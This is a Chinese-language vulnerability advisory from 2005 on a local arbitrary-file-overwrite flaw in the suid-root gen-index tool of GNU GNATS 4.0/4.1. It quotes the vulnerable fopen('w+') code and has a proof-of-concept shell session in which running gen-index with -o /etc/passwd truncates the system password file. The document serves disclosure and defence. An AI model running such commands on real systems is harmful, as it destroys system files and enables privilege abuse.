安全研究
安全漏洞
GNU GNATS Gen-Index任意本地文件泄露/覆盖漏洞
发布日期:2005-07-07
更新日期:2005-07-07
受影响系统:
GNU GNATS 4.1描述:
GNU GNATS 4.0
BUGTRAQ ID: 14169
GNATS是一款GNU漏洞、缺陷跟踪系统。
GNATS以不安全的方式创建文件,能够运行gen-index的本地用户可以覆盖系统中的任意文件。
漏洞存在于gen-index main()函数中:
"gnats/gen-index.c"
int
main (int argc, char **argv)
{
...
...
while ((optc = getopt_long (argc, argv, "o:hd:nVie",
long_options, (int *) 0)) != EOF)
{
switch (optc)
{
...
...
case 'o':
file_name = optarg;
break;
case 'n':
numeric_sorting = TRUE;
break;
...
...
}
}
...
...
if (file_name)
output = fopen (file_name, "w+");
if (output == (FILE *) NULL)
{
fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
optarg, strerror (errno));
exit (3);
}
...
...
if (indexIsBinary (database))
{
char numFields = indexFieldCount (database);
fwrite (&numFields, 1, 1, output);
}
...
...
if (numeric_sorting && num_entries > 0)
{
qsort (entries, num_entries, sizeof (Entry), entry_cmp);
for (i = 0; i < num_entries; i++)
{
fwrite (entries[i].string, 1, entries[i].length, output);
}
}
fclose (output);
...
exit (0);
}
有“w+”参数的fopen()函数打开文件进行读写。如果不存在文件的话就创建文件,否则的话进行截尾,因此如果gen-index拥有suid root权限的话,就可以覆盖系统中的任意文件。
<*来源:Adam Zabrocki (pi3ki31ny@wp.pl)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112066901231154&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004 /usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$
建议:
厂商补丁:
GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.gnu.org/software/gnats
浏览次数:2899
严重程度:0(网友投票)
绿盟科技给您安全的保障
